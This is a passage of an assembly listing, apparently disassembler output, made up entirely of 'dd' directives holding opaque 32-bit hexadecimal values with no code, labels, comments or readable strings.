		dd 7DCCC86Ah, 5CB02414h, 68F54E81h, 5EE272C4h, 0AEA37D0Eh
		dd 0A80B3583h, 0E7FA7350h, 7516630Bh, 0C5B5F2FEh, 0B37DD719h
		dd 0E9AB3ABDh, 0BE611642h, 15F03512h, 18562939h, 76B1981Ah
		dd 1E15234Fh, 0A93481A6h, 0A0A811FEh, 0CEB5F286h, 0BC89FE1Bh
		dd 0A2121450h, 0ACEB3A1h, 8CB957C6h, 0A8DD7BE4h, 1AE3B0FEh
		dd 2EA234ACh, 1DF94566h, 5DD0794Ah, 970D0F3Ah, 8FFE052Eh
		dd 0D6785318h, 9EB8C881h, 9257C80Bh, 35377C78h,	0AE545B8h
		dd 41C244D7h, 1003A974h, 2D297DFCh, 0B9583544h,	920D8F2Dh
		dd 1265ED39h, 0A3F37299h, 735A3BE5h, 0DC65FE24h, 0CBCB6A50h
		dd 5C33AA6Bh, 0E1996EEEh, 0DDDD30Ch, 6F1D3476h,	846E09D6h
		dd 0D4045CA6h, 1CEED280h, 3E807E39h, 9AA73B14h,	50FAFA67h
		dd 38719504h, 285D42DCh, 8C5DC3F4h, 21E111DEh, 0A49016EAh
		dd 1F2A8670h, 904E359Eh, 39E5C38Dh, 0DC38467Eh,	0F14CE2C4h
		dd 0ACFC3B06h, 65D72336h, 0B807A86Dh, 0D313362Fh, 96DE4ADCh
		dd 2E79D0D7h, 8241089Dh, 0EB85FBE1h, 22C49FF4h,	0E10B48F3h
		dd 35AF06F2h, 287281F5h, 6B8243D2h, 54E87158h, 2A67A94Ch
		dd 40D316DEh, 87F0C850h, 0F84E0203h, 433FD006h,	924403D9h
		dd 39EE2647h, 0D46E27DDh, 7DF1C77h, 0D12ED95Eh,	6A6FC7E9h
		dd 0FD0AF406h, 156A7603h, 2897B1C7h, 2BB32E15h,	0C484050Ah
		dd 0D351E966h, 701591B0h, 32377EE5h, 1084EDFh, 0C85CA7B8h
		dd 3AE75BA9h, 5920D4FDh, 0C9E3A9BEh, 49BC14E4h,	47699D69h
		dd 1DEDD19h, 0A023AAA7h, 0C7EECB73h, 95E1DB20h,	2113147Bh
		dd 975DAD6Fh, 5307B359h, 62FE41DEh, 0FE8599D2h,	0F97B7B0Ah
		dd 3941AEC8h, 3F690025h, 35CB5F5Ah, 0AD873AB4h,	0AB43246Ch
		dd 8470E0C5h, 0C0B7D7CEh, 18FC445Eh, 0A6FCD4BCh, 6E83A7EDh
		dd 0B8D193D6h, 980A6976h, 642263B3h, 61504EA4h,	9D7BE386h
		dd 920B5A9h, 0FE3E1404h, 7A7CEE2Fh, 0CF998104h,	0E7BEB681h
		dd 82B4B5D2h, 3091D9CDh, 0E76D6803h, 0C872DA95h, 8D6DACB6h
		dd 571521C5h, 512B096Bh, 517BF3B7h, 0CCFBAD73h,	0A25BF2CAh
		dd 8F68DA38h, 1C858E21h, 423963CDh, 985AB7B7h, 5256AF9Eh
		dd 90A69E4Ch, 0A9BE98C2h, 772BE18Dh, 0EA005871h, 0C32866Ah
		dd 3880B594h, 0B1DC7AAFh, 8D9FD27Bh, 0C31AE8Ah,	0D28591C3h
		dd 89EAB99Ch, 9807CF11h, 542F3CEDh, 0E4B1BD35h,	601C50DFh
		dd 8326D4A9h, 0CBCA566Bh, 190C0440h, 0F34F2C0Fh, 97C721ECh
		dd 0CA93F9E6h, 0E99D4F66h, 0F7FFFD97h, 6EC28561h, 6CD67A11h
		dd 0DEF11A33h, 9042058Eh, 0D14A5493h, 0E5410F8Dh, 7EA3CB7h
		dd 0D599DF44h, 11B3C09Eh, 0D4E9994Ah, 0E372D413h, 0C69AFF33h
		dd 47D2D199h, 2A83A522h, 69C205C4h, 47535465h, 0FD6B267Bh
		dd 0DB691FC6h, 0E0C75825h, 6263D64Eh, 9FA1704Eh, 0F8F950FDh
		dd 5A3FC5DFh, 7D6A2724h, 0DDC0A53Eh, 79478D89h,	772AA5B7h
		dd 5A08A3EDh, 46CC4CA7h, 0C07DC70Eh, 0E35D49A2h, 0B57ABF59h
		dd 0E1B8F3E7h, 0D9D6E10Ch, 7238EE30h, 0E5060F2Bh, 0AC5B2888h
		dd 0DE25DFFAh, 31B4F747h, 65C30FE1h, 8D4A80A7h,	0BB48A2D4h
		dd 8DD4D2EBh, 9193EAAFh, 5E39B0DEh, 21D07C3Bh, 97FAA34Eh
		dd 5F5225D8h, 6547E53Ch, 3E84AC0Eh, 41F9FA6Fh, 0E8C625F1h
		dd 2645361h, 750C76D9h,	9E93CDC3h, 9585E0Dh, 0A5A21F30h
		dd 0B19EC9C3h, 950F83CFh, 9EC46157h, 52694044h,	9C6D7C00h
		dd 0C6624C0Ah, 0CF6164A6h, 7361330Ah, 37CE1B39h, 7702536Ah
		dd 0B5604F86h, 0CDD17A25h, 0F8B2DC1h, 0FB2870D0h, 0D21ADEA1h
		dd 59EEF9A3h, 704F094h,	60FB5A20h, 0C623B908h, 0DC14F4AFh
		dd 0B377CC18h, 0B3C3CED7h, 0E1227B0Ch, 0BE27AEB6h, 2BE0BBF8h
		dd 0AD8F1858h, 56AB77EDh, 92BA8415h, 658330BFh,	0F14E43B7h
		dd 4EE8AEBFh, 1506723Dh, 79CB1C8Ch, 53958618h, 2EDB85CCh
		dd 0E66C55FAh, 0EBFBBCF7h, 0F73A8B5Fh, 83887B3Eh, 5BA68D2Eh
		dd 0C7306433h, 694B0EDh, 0D2FCBE2Fh, 36DC441Ch,	0AA7D8BD9h
		dd 0AD6B0B1h, 946E4F79h, 0A9A89CDBh, 3D4110CCh,	1314A79h
		dd 0C63DBAABh, 0AB93EB95h, 946EEB2Fh, 31F2339Fh, 75CA207Dh
		dd 29FF060Eh, 89FDD058h, 6531EED6h, 0DD069591h,	0B93AF487h
		dd 8D8ED7A2h, 33EE298Dh, 0B84EA6A4h, 17A82820h,	0EC486D7Ch
		dd 0BE6A05Dh, 43AE3038h, 8FEB54BAh, 0BD9DF4A4h,	0F8F79231h
		dd 5C5EA864h, 0DA694443h, 0E723D9DBh, 0B8FB72BCh, 0D4A2089Ah
		dd 363EF9A5h, 445061FFh, 5EB1EA3Eh, 0CD5C67EDh,	0E63C313Bh
		dd 19883992h, 0F5E46983h, 0AA1CD215h, 883B245Ah, 3E9C9824h
		dd 43899320h, 0D730A53Eh, 0D01AD5A3h, 2BB37BC6h, 0A3599D6Eh
		dd 73B89614h, 0F55EAFA7h, 0A08C0083h, 0EDA02149h, 0DFCA5744h
		dd 0E8DDFEF4h, 171132CEh, 70108366h, 854DF2CDh,	9EF0A11Eh
		dd 0E8046FA3h, 1ABCF476h, 0E5818C9Eh, 0F17020AEh, 2AC71454h
		dd 93C4D311h, 5DAC822h,	1CD12CBCh, 0F5DDF4F4h, 959C2E35h
		dd 0D215113Dh, 1ABD597Bh, 0D52C1EA5h, 0EA97608Ah, 27BD0A32h
		dd 0F754B94Ah, 5A640C1Fh, 0F982ACC6h, 2AABC6BEh, 9E58653Dh
		dd 1667B2D3h, 8A928C08h, 7771BA50h, 925017EAh, 88A5B257h
		dd 0B9641233h, 0B24CD171h, 96A7A763h, 0A24A849Bh, 67613FAh
		dd 815DB428h, 0D1940D4h, 5EAEAFA6h, 0B5DD82C9h,	63AD77A2h
		dd 4DC80302h, 0D7D0A7D1h, 6A859620h, 0E36A5A0Eh, 70B0DFE2h
		dd 981F49A0h, 7D8C383h,	0CBE34B20h, 3733F156h, 0E6545879h
		dd 0A214721Eh, 0C4E934D8h, 0AC7BCDF8h, 7EDD0FF9h, 0D53BEE29h
		dd 42A0249Ah, 0F0F9481Eh, 0F4CBE427h, 19AC1CDCh, 2671728Fh
		dd 0FA6C86D8h, 0EFFC3A20h, 20438776h, 7B68B3F2h, 8A9A86D2h
		dd 927FA0ECh, 0C9BF8522h, 9754F9BEh, 6583859Dh,	0E9CB8ABCh
		dd 8FD873A1h, 7CA4D028h, 9705E554h, 2D24019Eh, 3F80C1B5h
		dd 760701F6h, 3ACEE1E3h, 0B0BEEEAFh, 0F81B077h,	0C73872C4h
		dd 5A880BD8h, 0ED15B736h
		dd 0FF4730BCh, 989505F0h, 661F1A1Fh, 700FF837h,	0A8322DAFh
		dd 81BD5F2Dh, 9868E3E3h, 46D3EF98h, 72190E09h, 0AF05771Eh
		dd 91438C2Bh, 0CF57B86h, 41F7246Ah, 0B066A5D7h,	63819B05h
		dd 24423CEh, 38536A28h,	0F3C3A71Fh, 0BD6BF77Ah,	0AC50EEC4h
		dd 0E54EA761h, 0D7AFA8D4h, 9460D05Eh, 60EC4CEEh, 0A62B618Ch
		dd 0A05C3305h, 0DE16EBFDh, 82F685BBh, 1446C2F3h, 0FE13C0C9h
		dd 1F0868A3h, 0A452E304h, 0B447DD14h, 0A14B2C05h, 0DC19E66h
		dd 8D6B904Ch, 865A8771h, 0B3D59E52h, 6E774E92h,	8659284h
		dd 80E8660Fh, 747B1A1Ah, 0A6EE809Bh, 0E8D709ADh, 93F00915h
		dd 85C7C1EFh, 498C847Ah, 39549041h, 0AF57D674h,	0D2C4BC5Fh
		dd 0F7FD363Ch, 44E670ACh, 0E656FAFCh, 0C9D5C1BAh, 7DE73C39h
		dd 6504B62h, 85F4B816h,	0A82FF8B3h, 0D20E6C07h,	1F7B9767h
		dd 9157134Fh, 6D423FE1h, 21CC6122h, 6F302D71h, 0CEA6B460h
		dd 7DDCE4D7h, 6F787E98h, 4C5ABCA7h, 0C0A21FA4h,	77E98E40h
		dd 0EC84D92Ah, 489FACF1h, 47978F52h, 0FA82F1EFh, 0A20C16ADh
		dd 1816A766h, 3185AFE6h, 4812D28Ch, 0AD8FCE7h, 6827732Ah
		dd 2333C9A4h, 7A01605Fh, 0DC85F8AEh, 223F978Dh,	0C46341D1h
		dd 796D867Ch, 191EE94Eh, 4942B1F1h, 47E7F1F3h, 8A9321D4h
		dd 813B9B2Dh, 815791A7h, 9AE6B470h, 5FCDC389h, 0F25B895Fh
		dd 2F7B4852h, 42838E29h, 0D8CE7DA8h, 0EAB373Ah,	97124EA5h
		dd 3EC4AC73h, 8113EC70h, 83C69E89h, 5E488508h, 750C1746h
		dd 0E41FE873h, 0DF05B7D8h, 0A63DA6C4h, 31A5FBA1h, 28E80700h
		dd 5BEA4D81h, 20C5B814h, 0DDB550C6h, 771755B2h,	0C82EC33Bh
		dd 9A1FFACEh, 0A290F86Ch, 55C28F01h, 0FE2FCFC5h, 0CC5EF52Dh
		dd 0FAA54EBh, 0B5FB1703h, 6F081A46h, 0EA001A6Eh, 3981B633h
		dd 38BDF738h, 3A50064h,	0D86C90A0h, 7D556EE4h, 0E39062EAh
		dd 9E368B24h, 0FDAB6F01h, 0E1109E56h, 2A4A5F49h, 0BF624508h
		dd 71324054h, 0B437F304h, 95CE8469h, 89193A87h,	0E3F8FA21h
		dd 9B2E03EEh, 487D47E4h, 0BED7FFAFh, 0A6610357h, 1B65EE2Ah
		dd 5AD30F0Ah, 8C9BD84Ah, 92B78BACh, 54F3DA46h, 6659310Eh
		dd 0E36707D9h, 0E8022C1Fh, 7B2CD938h, 0FC7092ECh, 0B80E36C5h
		dd 5BA33323h, 0B0EFA5A7h, 542F5343h, 0C461C566h, 0EB8395EEh
		dd 0BB6100F2h, 3D116A1Ch, 0C88EACD2h, 0B3C2D1h,	7FA04999h
		dd 6CF429F5h, 8C5B3964h, 1C820390h, 0BC3B32DCh,	0D822AF54h
		dd 8A9C3F5Fh, 64C4EF43h, 0C5D5A94Ch, 9E62485Bh,	9C0EE017h
		dd 7B8AF2C5h, 0FC860BCBh, 0F99C3ED9h, 3108F7D8h, 3AF893DFh
		dd 0ED20A1AAh, 70BD27D0h, 0EAD8ED8Ah, 11F134B4h, 26328A7Dh
		dd 0CDE328FFh, 95DBF739h, 39207B52h, 0A416B54Ch, 0CFD64972h
		dd 203492EEh, 566BDE0h,	488285F6h, 0F6CBF993h, 0F49F035Eh
		dd 86E6DF3Eh, 54ABAC90h, 954466BCh, 7A0A8F8Dh, 77D9DBD2h
		dd 0EA66EF79h, 91F9C68h, 0AC6B1B20h, 398B70DAh,	3F3BCB50h
		dd 2CCA2B0Ah, 0F58DFD23h, 47096B65h, 6E743152h,	0FC753D09h
		dd 90DBAE4Ch, 96480A3Dh, 0CC00CF36h, 1F347F41h,	430FFC0Dh
		dd 0F0B40C71h, 459BABA3h, 44F8112Dh, 4A345771h,	0A50C4B2Ch
		dd 0F8108BB4h, 0E9386CFh, 530CE0AAh, 0E83B8BF9h, 0B44C78B2h
		dd 8EDEE24h, 0CC40CF30h, 8A2A1195h, 0D103A085h,	81DC8E81h
		dd 5CB11CB0h, 4C279B01h, 1782263h, 0FFA8EE3Ah, 0D9263F5Fh
		dd 2C1147DAh, 4D3C793Fh, 6C7E4001h, 78CCE7A5h, 0F418B414h
		dd 897D76F8h, 59D39C7Dh, 103E0DFFh, 0E4F1C233h,	262FA220h
		dd 0DF3B9B67h, 0D6645084h, 2D2D827Ah, 59F57BA8h, 12F02C2Ch
		dd 816424EEh, 11CD626Ah, 6CECC216h, 0F8A713C0h,	20CF26C8h
		dd 0DC3B0419h, 9B14BB76h, 22F936A6h, 5B15549Dh,	1EAC03B0h
		dd 6889713Ch, 7E244B0Ah, 3005F3EBh, 0E73F0CABh,	0E9826113h
		dd 9D195D09h, 0BC0C4578h, 0EF43D490h, 0B6E0CE3Bh, 5E8FF9ACh
		dd 0A0B42B5Fh, 21171A0Eh, 0E20EFF2Ah, 0F0101666h, 2DF68651h
		dd 4342A47Eh, 1B2D9669h, 6BF99063h, 0D07C16E1h,	3B5559A3h
		dd 738437BDh, 9BA8D958h, 6B71308Eh, 6D221E6Dh, 0D3F82C63h
		dd 971174A3h, 0D4B6E54h, 2CB8BC70h, 0EF6443FBh,	0CAE80D2Bh
		dd 0FD5CAC0h, 7DAE6B90h, 0E5F7744Ah, 6E3A29D0h,	0A4B7CC94h
		dd 946A5D9Bh, 0DBAB1F93h, 5FABD932h, 88A23A5Ch,	0B731321Bh
		dd 0F81BEDD6h, 0D9FB7F6Dh, 0C316EF67h, 41EAD15Ah, 191A0E46h
		dd 0A602FD0h, 2B4EA0A9h, 0C46BAD7Bh, 66FC7416h,	0C161E2FDh
		dd 0E70C29D9h, 0A5782228h, 5806F7AEh, 9E4C21B9h, 1518E85h
		dd 9F803F0Eh, 0EA4E03F5h, 0A1176B1h, 0CAEE21E8h, 3405D85Bh
		dd 86AB6563h, 5F6FB14Dh, 4E1302Fh, 0D4254E22h, 2D64323Ah
		dd 0BC7857D2h, 958CFF95h, 79D393A1h, 0C0B09F21h, 81CCDCBFh
		dd 0AF85BF5Ah, 0ACADDBFAh, 3FF88B92h, 0AE5334A7h, 0C0845629h
		dd 83779F2Dh, 2D197437h, 84830438h, 59CB7FB0h, 0B57F1B5Bh
		dd 980254D8h, 0C1CE0D86h, 0C78B7150h, 21FA6D5Ch, 0F3CDCFE2h
		dd 3585A37Bh, 0B05B004Dh, 0AB96E316h, 3EDAFF53h, 56B85581h
		dd 0B82BB929h, 9901AD47h, 0EF3D3714h, 0D5A5875Dh, 6590BA5Fh
		dd 158C3FEFh, 0EF0E6AD4h, 7ABC0D98h, 0BDC8571Ch, 833AC5D9h
		dd 5E248400h, 0A5786515h, 86ECDFCAh, 67840D05h,	0C14D5786h
		dd 6E1DCF27h, 2B49049Eh, 9E400880h, 0C6611A77h,	588BF659h
		dd 90E1FC1Bh, 919FD472h, 84763D0Ah, 653198B9h, 931D0C15h
		dd 0A1252DB3h, 50B7A5A6h, 0F0FF9E27h, 96380ABAh, 2B0FED4Ah
		dd 0CEE7D3CEh, 25359F2Dh, 54641C65h, 704A0E7Fh,	2E29479Ch
		dd 0C97F1C83h, 0F2853850h, 0B7CC0F58h, 7A80AF3h, 0E3CE9022h
		dd 0A80DD9C7h, 0D9F76862h, 53ABD7DBh, 2452CBE3h, 14EA5E8Dh
		dd 0ED3B8F6Ah, 4E244596h, 7F188BAFh, 75ED0403h,	0C46FC38Bh
		dd 3B56952Ah, 0E1095271h, 8E413B7Ch, 6EE2F294h,	8A85DF53h
		dd 5A07A9Ah, 0E2BA0CFDh, 671F6F0Bh, 7E3CF0E7h, 7327502h
		dd 43ABDED6h, 0F2033518h, 0C4F57582h, 0C341F5CAh, 0BCC2F350h
		dd 8F3883A6h, 0B8CE5A7Fh, 45EBB82Fh, 0E3B7DFF7h, 0E74DD77Eh
		dd 0ABCDA67Dh, 2A5A994Eh, 0AE1E3947h, 0E3143B16h, 0D8C81D14h
		dd 728D2DFFh, 0FD487295h, 5F97C34Eh, 0A6B2900Dh, 6DB522EAh
		dd 57C405ECh, 3CAFD347h, 71CC7366h, 0EBA8C5DEh,	11C35043h
		dd 6F912484h, 6CF7C8E8h, 24FE92C1h, 33FFC72Ah, 9A2221AAh
		dd 7AAD5865h, 0B164AA39h, 4553F08Ch, 736C0271h,	0C9284A60h
		dd 8127F507h, 0ED3A7533h, 887F62A9h, 0F8FE5EB5h, 0D9F846C2h
		dd 693060E3h, 67A8B78Bh, 24910895h, 37CF874Ah, 7A67247h
		dd 44E709ABh, 0F9281D5Bh, 48358C6Ch, 0B4C055BCh, 814B1972h
		dd 71F43F2Eh, 0AF805E9Dh, 2B0CABE5h, 71462504h,	0F10BA3F8h
		dd 0DA69C890h, 0DBA23850h, 0B848FEDAh, 0DF1EC907h, 40F975E7h
		dd 0E4766378h, 0AC0F9526h, 0FE4F45A4h, 0D4A452E8h, 0DACA1C83h
		dd 0E1652664h, 1F5CD64Fh, 0A02AD073h, 0EDF1684Bh, 0B4F65710h
		dd 6E6FBE6Fh, 58048377h, 0C298BC23h, 0A6BF8BA6h, 93DB5DCBh
		dd 30931809h, 6A5D81CDh, 0A3A1F6E4h, 0ECC9B10Ch, 0E6C43CD4h
		dd 0D04FD97Dh, 0C74FB161h, 112470E1h, 0FE40D21Bh, 0AEC966FDh
		dd 51A54CADh, 0D2688E01h, 7A640612h, 0BE35A88Bh, 6C2F1A09h
		dd 0C1AF667Eh, 3B68EBF0h, 0B865C011h, 42C02B9Fh, 0AB2B16B0h
		dd 0C5C0C92Ch, 0D70C81C3h, 305D09Eh, 9A9247C5h,	0A055F9B7h
		dd 0A73DCBDFh, 0FAB3CB59h
		dd 5DCF3F0Dh, 0F8765C71h, 62D6C0FCh, 98E69DFBh,	0B1F0AA4Eh
		dd 6F8385F9h, 37D95805h, 2CCED784h, 0DC91F1E4h,	1D40A009h
		dd 296AFC4Dh, 0A869F5F9h, 4718454Ah, 4BFB8C6h, 0F795480Fh
		dd 4DB1B375h, 0CFA503C9h, 9B9FDFEh, 4E34D7D7h, 64CA82ADh
		dd 11F5E4CEh, 456C728Bh, 0B25CA1F0h, 63A9CE00h,	1DA269B0h
		dd 490F2A05h, 76DEFFFAh, 4D7890EAh, 0A2DFA6EDh,	53057B65h
		dd 31F6D266h, 0E6EBFF0Ch, 9021FB92h, 0D42B49D5h, 3E9E866Ah
		dd 1CB0FE70h, 42509758h, 0C53E8523h, 0B2F92B9Ah, 6E02A646h
		dd 0B3D24F41h, 0D9D02019h, 73F88130h, 4FB9A4A8h, 1111322Fh
		dd 92869629h, 9633D8AAh, 56B725B7h, 487B7878h, 0CC9995E9h
		dd 29CF1B03h, 0D40F551Fh, 0C5713B55h, 0F7CE1F42h, 37F01A14h
		dd 361F998Bh, 77CFA1Bh,	0A8A75EF1h, 0E82DC1A9h,	62E9F71Fh
		dd 2929E858h, 436F6BE8h, 0D15E945Bh, 9E13071Ah,	24D04F25h
		dd 0ACCF4B81h, 0A80A2B93h, 4F44EC97h, 9906AE9Eh, 7E4173A8h
		dd 85E37B1Bh, 45E42000h, 0D1989A94h, 0F9FBAC2Dh, 0CF8A95A8h
		dd 0BED9892Ch, 8C2B124Ah, 4AD7C70h, 3F0E21D1h, 769C94D9h
		dd 765D5E21h, 0A8B620D5h, 2704ABF8h, 3B049135h,	0C1349CC3h
		dd 88FEE09Ah, 4B4E812Eh, 79FBD275h, 92CB124Dh, 0CCC16225h
		dd 83B4B85Dh, 5A0BBBCDh, 3679A119h, 4B3EA0A3h, 33B92D10h
		dd 952AF011h, 6B71396Bh, 91919193h, 6412A976h, 3ED3DA7h
		dd 59B4B998h, 0AE970872h, 70DC3AF9h, 2572A914h,	0F0746785h
		dd 490FDB53h, 0A8027978h, 9F4948F8h, 7674057Bh,	5587B715h
		dd 239AC319h, 601080E4h, 0F07A47FDh, 44F9D7ABh,	0AB40F4A0h
		dd 3523F5ACh, 0FED2A455h, 0E2DBE5A1h, 0CBA47841h, 0C675D067h
		dd 61D75D91h, 5E7BFFF5h, 3E61F8AFh, 298A7D32h, 478A34E7h
		dd 2C7ED103h, 0A8DF2244h, 93FBEAD2h, 0E4D2E674h, 0BF332E94h
		dd 85A2A6D8h, 9D69CE9Fh, 5F6412Eh, 7A72304Eh, 0D9954109h
		dd 369B8F7Ah, 2167CE1Ch, 9C20CF87h, 88D43DC8h, 34B69AA4h
		dd 0EF5933FEh, 70C36B2Fh, 0F83124B3h, 4B13F039h, 53924C5Ch
		dd 76D9A8F3h, 755641B5h, 8ED07F8Fh, 5A811F9Fh, 0FF519F00h
		dd 36D4D418h, 43ECEB9Dh, 0AAAE5E2Ch, 0F3B3DDA3h, 77321872h
		dd 0D5990ABDh, 82D6F8E6h, 1340BA76h, 1693F74h, 22A13ACBh
		dd 2FAD3509h, 0DF67303Fh, 88817EDCh, 2F5BD3FBh,	10C19157h
		dd 7D27F806h, 0F1E51BA2h, 2C357121h, 0ECCA21B9h, 2BCCEE37h
		dd 37A2323Ah, 0C805D52Dh, 60CD6F9h, 0A59D56D8h,	0D9CC0983h
		dd 64677E85h, 0EF4183E0h, 56353D0Ch, 35D65B58h,	819DD179h
		dd 387A6292h, 0F561AF8Ah, 0BF3AA019h, 27131F6Ah, 0C7E719EDh
		dd 0DC899AC3h, 8EF0E2ACh, 79C11B5h, 0DD7F2947h,	7B26C79Ch
		dd 7BD17334h, 9E643580h, 0B7B06C1Eh, 75719EB2h,	446726D4h
		dd 84BFE8DBh, 0F87E93C4h, 54CFB9FFh, 0F78A8097h, 4C63B5D2h
		dd 961107h, 434B8292h, 92647BBCh, 0E9AD3B5Fh, 6904BD28h
		dd 51B1917Eh, 2A1B739h,	9B42E8E5h, 54D76F72h, 57DADC5Dh
		dd 0AC0BA5C2h, 0E3F4C48Ch, 0D80582AFh, 5B95B5DDh, 0D91B0183h
		dd 0ED7BA574h, 0EA2965B7h, 813FC271h, 2F6194AEh, 0F3EC5CEAh
		dd 0BB4B74F8h, 0E1CD7AC1h, 4B70C7F3h, 0CD688A51h, 0BAEA6699h
		dd 5B996AC1h, 72D25FBAh, 0C24E5218h, 771520Dh, 0E1D0121h
		dd 78756600h, 0DCC1AE2Ah, 802E1EEEh, 0A01E8E3Ch, 1A316834h
		dd 0F87406C3h, 0DAE0667Ah, 65F15884h, 0B37286B3h, 11C37A4Ch
		dd 0DD097A1Eh, 0E939D984h, 499FCC0Eh, 0DA30C5C2h, 89DDBFAh
		dd 0F2057A56h, 3019AFC4h, 3A73D0DEh, 2FA89792h,	8F144823h
		dd 0A41C5189h, 7299D341h, 0D71B9761h, 0E51EF94Dh, 152D8569h
		dd 5A08E2A6h, 50F57635h, 0FC168747h, 0B429A956h, 0C10CA7BBh
		dd 0B51AB93Bh, 0FC6FDB0Bh, 0F887F3DDh, 0F65EDA5Ah, 5B232514h
		dd 4A9806E2h, 133A6282h, 0A45171AFh, 5638BB03h,	0B4CE81ADh
		dd 698C2AD8h, 37779A56h, 97688628h, 3EC0020Fh, 8FE66787h
		dd 0DB886BC1h, 4FB80683h, 18D9C7E0h, 66E03048h,	0D55B0BB0h
		dd 0A696E92Dh, 791324D9h, 168A805Fh, 0A9E964DFh, 0A1AC7A74h
		dd 0B9B94331h, 5B138067h, 0E6125F4Dh, 0F3239BC2h, 4BB9CEAAh
		dd 5160B714h, 0B372008h, 549892B4h, 52920AF9h, 0B1339D37h
		dd 0F16227D9h, 968A6985h, 0A6C78AB0h, 0B1BA544Eh, 0D9137B5Bh
		dd 2F6A2726h, 0D9E098D7h, 37CEB859h, 0A78B26F0h, 400BB0DBh
		dd 0E65A72F2h, 0CB37CBE4h, 0CB552656h, 0F3A2B683h, 8F6D702Ch
		dd 0D069174Eh, 0F5FE7359h, 560EE68Fh, 6E8F1FE9h, 9412F693h
		dd 1A2DA3B5h, 0A55ABB20h, 35903227h, 3BBBDD6Dh,	0F5F0BAE5h
		dd 7938F208h, 946A6F5Dh, 0CEF11585h, 74E0CF28h,	0DDC8C6FBh
		dd 1D6DA27Dh, 0F801FCA7h, 4F13E467h, 9A9318DAh,	0B86DD715h
		dd 98D1E0DCh, 570F50A2h, 0BCFDC78Dh, 0B6139DF2h, 96DB2D78h
		dd 20CCD687h, 5FFD267Ch, 39D11F4Ah, 2A8B2F4Eh, 9E131DD5h
		dd 285EDC39h, 0A2B7E826h, 5CE787CBh, 0D4D7E801h, 0BC7B552Fh
		dd 6B026E4h, 0AE3315A2h, 0BFC68C84h, 0D6F2D5Ah,	91C52282h
		dd 4D7D7E4Eh, 95BED7E6h, 3F906D2Ch, 2AC08E9Fh, 69C6B67Dh
		dd 0F88D1981h, 0F505432Fh, 0EAC18480h, 30410BC6h, 0CDBECF15h
		dd 0A15C9A26h, 0C70D6976h, 627CCD7Ch, 0EE4D9680h, 23CCB8F6h
		dd 0B89F0582h, 204C5EAAh, 3F8067C6h, 39B5281Dh,	3CE370BFh
		dd 7343208Bh, 7AF38F25h, 0B25496DDh, 0DBBC3A66h, 0EC9D0375h
		dd 4B22A5F5h, 0FE3E8DC5h, 6781E1E0h, 0D6038800h, 105AFEC9h
		dd 0D80CAA27h, 6923903Ch, 7D28D55Bh, 1FC2E793h,	0A4C23C5Dh
		dd 0BB84C531h, 52887544h, 17539B3Fh, 4195959Bh,	0B7957A0Bh
		dd 0E37B5918h, 5CEADE6Fh, 8ED9DE47h, 8AE2826Fh,	5F180CE9h
		dd 141E0975h, 645EA34Bh, 0B9200DB0h, 49A919BBh,	6444B4E9h
		dd 0A483FE5Bh, 89125E4Eh, 0EE5B5BFEh, 413F8A4Dh, 9C248035h
		dd 60F925A1h, 9C230130h, 978B5472h, 44E32A65h, 0F96CE08Bh
		dd 0D868781Bh, 0DFF13D1Ah, 0F81B20F1h, 5E49906Ah, 0DBEBF7C7h
		dd 4FA70164h, 0E8C6C70Fh, 4949F113h, 0CD7E3966h, 8BDF0427h
		dd 18AFEFF8h, 0CE0EFA22h, 770801F8h, 0BE9E5F5h,	7A199900h
		dd 72672224h, 11DB25BEh, 0C9341C52h, 70E0D190h,	5014615Ah
		dd 0DFDC3329h, 59AFB8E1h, 8523E989h, 0A29604CEh, 0BE9822FDh
		dd 6C952621h, 0EFAB5D72h, 3CBEC4B9h, 332F32AEh,	9071EF6Fh
		dd 6AFECCD9h, 0B0AD15A2h, 0F4F82146h, 6C9D1B01h, 0A6512FA2h
		dd 0D9150FDAh, 32107A15h, 3CB4300Fh, 27DD4F63h,	12A000FEh
		dd 8C0B4F4Ah, 0E8C616EFh, 9197E5F2h, 0A59E7F4Ch, 16ECE8E9h
		dd 0D0185D3Fh, 0DBD23DC2h, 26EA6502h, 9005C1D8h, 0F723F11h
		dd 0E4107D6Ah, 5EC1B562h, 1B9A8F86h, 0DBF71CB2h, 0A87BD7B6h
		dd 0A76492B8h, 0DAFBAEA6h, 867097D0h, 51CF1D71h, 5DE8B5E6h
		dd 508E063Bh, 752298CAh, 0A835F29Bh, 0F4CEC68Ch, 0B0288FAAh
		dd 46B2FB47h, 0B8E7122Eh, 0F39BBF0Eh, 7295225Bh, 0F43AD1FDh
		dd 0CA98FE52h, 1E47E113h, 5EF1E3E4h, 2C7BD16Eh,	0D60DC3B9h
		dd 4DFF174h, 0E0C990D9h, 1633AF9Ch, 1BFE8D72h, 72D335F1h
		dd 65065C65h, 75E664E7h, 7862B063h, 0C92EB2C8h,	78C5DAAFh
		dd 0E87C9F3Eh, 480F3BF7h, 915A8EB3h, 0B13DA420h, 0A9F424DCh
		dd 8D4BAF76h, 76244001h, 0CD9A8AD4h, 0E060ABBFh, 0DF0CB361h
		dd 5594060Dh, 33BD99C7h, 1B0E6B91h, 3B7580B5h, 108E4DF6h
		dd 12F1DA7Dh, 0BD07C90Ah
		dd 4FB745FCh, 1265CCE8h, 7F535503h, 0EF7676EEh,	8FF3F226h
		dd 0FC165732h, 433DBC95h, 37D8FC5Bh, 1548E8BEh,	0E522E586h
		dd 708E30A8h, 8C0C66D2h, 47B719DAh, 44FE1074h, 0E553C38Ah
		dd 0F2B1DA08h, 2FA69E44h, 0B091B156h, 0D9DD28E0h, 0BD4A16ACh
		dd 0D77AF3E8h, 0FC9105D7h, 648E7B81h, 0EE9B5B71h, 60F54DEh
		dd 0E7B98CA8h, 93CAAC4Dh, 2E6E0F7Ch, 0CEC68916h, 597F8AB3h
		dd 0A97A4453h, 74422081h, 0D39EE516h, 0CE445F3Bh, 0E7037BB7h
		dd 6061E232h, 0B08DCE2Ch, 0F331A2F5h, 0CEC03B1Ah, 9CEF9696h
		dd 0AF6D1DABh, 0FDF0543Ch, 4C39CFEEh, 923214A6h, 64E0E318h
		dd 55BEC067h, 88F84D47h, 98CDC28Eh, 34EC457Ch, 1278C41h
		dd 689E0793h, 714EACCEh, 0AAAC767Dh, 54497563h,	0CC453E2h
		dd 0A0043E21h, 0E2DF809Dh, 1DEA91ABh, 0FE7491Fh, 0FA929B98h
		dd 450B6DD0h, 3D7BE8E4h, 9B0807DEh, 1703E9EEh, 7091DE46h
		dd 39327918h, 70E701Eh,	614366C7h, 1CAA1E16h, 7EA747DDh
		dd 0A4C120D2h, 0A806F304h, 0A515CAD3h, 3D5AAF4Eh, 1A595640h
